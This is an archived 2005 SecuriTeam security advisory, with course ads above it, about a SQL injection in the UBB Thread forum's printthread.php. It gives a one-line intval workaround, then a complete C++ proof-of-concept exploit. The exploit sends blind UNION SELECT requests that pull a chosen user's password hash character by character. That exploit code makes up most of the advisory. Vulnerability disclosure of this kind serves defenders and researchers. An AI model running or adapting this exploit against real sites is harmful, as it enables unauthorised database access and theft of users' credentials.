Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | [UNIX] UBB Thread SQL Injection Vulnerability (main) |
|---|---|
| Date: | 21 Apr 2005 15:51:38 +0200 |
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source. http://www.securiteam.com/mailinglist.html - - - - - - - - - UBB Thread SQL Injection Vulnerability (main) ------------------------------------------------------------------------ SUMMARY <http://www.ubbcentral.com/> UBB Thread is "robust and flexible PHP message board, with a MySQL database for power and scalability". Due to insufficient checking of user provided input UBB Thread allows a malicious user to insert arbitrary SQL statements into existing ones. DETAILS Workaround: Add in the beginning of the PHP file(printthread.php) after the PHP-Code tag (<?): if(array_key_exists('main', $_GET)) $_GET['main']=intval($_GET['main']); Exploit: The 'main' parameter is used twice, in two different queries and in two different number of columns. The popular 'UNION SELECT' method will is not applicable, because a correct response of the first query, makes the second query invalid, and vice versa. The catch is, that the second query execution is conditional to the results of the first one. If no results are returned from the first query the second query is not processed, thus, no SQL error will output Therefore, as you see in the POC exploit below this vulnerability can still be used to output from the first query not as a text/numbers but as a "Are there any results" way. If the first query has 0 rows returned, there will be no SQL error. If there is at least 1 row, then an SQL error will be shown. //HLLUBBThreadsExploit.cpp /* 4. Exploitation UBB Thread /ubbthreads/printthread.php SQL Injection Yes\No vulnerability Usage: HLLUBBThreadsExploit.exe <hostname> <path to printthread.php> <Any vaild forum name> <user id> Example: HLLUBBThreadsExploit.exe www.host.com /ubbthreads/printthread.php UBB3 2 Vulnerability discovered by: Axl Exploit Coded by HLL: hllhll <at> gmail.com */ #include <winsock2.h> #include <stdio.h> #include <conio.h> #include <iostream.h> #pragma comment (lib,"ws2_32") void usage(char *argv[]) { cout << "[+] UBB Threads Proof-Of-Concept Exploit, Written by: HLL" << endl; cout << "[+] Usage:" << endl; cout << "[+] " << argv[0] << " <hostname> <path to printthread.php> <Any vaild forum name> <user name> " << endl; cout << "[+] " << argv[0] << " www.host.com /ubbthreads/printthread.php UBB3 HLL" << endl; } int main(int argc, char *argv[]){ WSADATA wsaData; struct sockaddr_in saddr; WSAStartup(MAKEWORD(1, 1), &wsaData); struct hostent *h; char hash[34]={0}; int rcvlen; char ch; int flag, pos; int countwait; SOCKET sock; char req[400]; char buf[600]; char rcvbuf[10000]; char rcvtmpbuf[1024]; char *host=argv[1]; //Server char *path=argv[2]; // Path to /ubbthreads/printthread.php char *fname=argv[3]; //Forum name int uid=atoi(argv[4]); //User id if (argv!=5){ usage(argv); return(0); } //Resolve address (will work also if this is an IP) cout << "[+] Resolving host... "; if (!(h=gethostbyname(host))) { cout << "FAILD!" << endl; return(1); } cout << "Done." << endl; saddr.sin_addr=*(struct in_addr *)h->h_addr_list[0]; memset(saddr.sin_zero, 0, 8); saddr.sin_port=htons(80); saddr.sin_family=AF_INET; cout << "[+] Exploiting target... " << endl; for (pos=1; pos<=32; pos++) { for (ch='0'; ch<='F'; ch++) { if ( (sock=socket(AF_INET, SOCK_STREAM, 0)) == -1 ) { cout << "FAILD CREATING SOCKET!" << endl; return(1); } if (ch==':') ch='A'; //If finished all digits, jump to hex digits //Prepare reqest sprintf(req, "%s?Board=%s&type=post&main=-99' UNION SELECT B_Number,B_Posted FROM w3t_Posts,w3t_Users WHERE ((MID(U_Password,%d,1)='%c')", path, fname, pos, ch, pos, ch+32); if (ch>='A' && ch<='Z') sprintf(req, "%sOR (MID(U_Password,%d,1)='%c')", req, pos, ch+32); sprintf(req, "%s)AND(u_number=%d)/*", req, uid); sprintf(buf, "GET %s HTTP/1.0\r\nAccept: * /*\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; DigExt)\r\nHost: %s \r\n\r\n", req, host); connect(sock, (struct sockaddr *)&saddr, sizeof(struct sockaddr) ); send(sock, buf, strlen(buf), 0); cout << "[+] Char: " << ch << endl; //Loop untill disconnection or recognized string flag=0; countwait=0; *rcvbuf=NULL; while(!flag){ Sleep(30); if ((rcvlen = recv(sock, rcvtmpbuf, 1023, 0))>0){ rcvtmpbuf[rcvlen]=NULL; strcat(rcvbuf, rcvtmpbuf); } if ( (++countwait) == 30) flag=2; if ( strstr(rcvbuf, "SQL Error")) flag=1; } if (flag==1){ //Char found cout << "[+] Char " << ch << " In pos " << pos << endl; hash[pos-1]=ch; ch='G'; } closesocket(sock); } } hash[32]=NULL; cout << endl << "The hash for user id" << uid << "is: " << hash << endl; WSACleanup(); return (0); } /* EOF */ ADDITIONAL INFORMATION The information has been provided by <mailto:hllhll@gmail.com> Hillel Himovich . ======================================== This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com ==================== ==================== DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | [EXPL] PMSoftware Simple Web Server Remote Buffer Overflow (Exploit), SecuriTeam |
|---|---|
| Next by Date: | [NEWS] Oracle interMedia DoS, SecuriTeam |
| Previous by Thread: | [EXPL] PMSoftware Simple Web Server Remote Buffer Overflow (Exploit), SecuriTeam |
| Next by Thread: | [NEWS] Oracle interMedia DoS, SecuriTeam |
| Indexes: | [Date] [Thread] [Top] [All Lists] |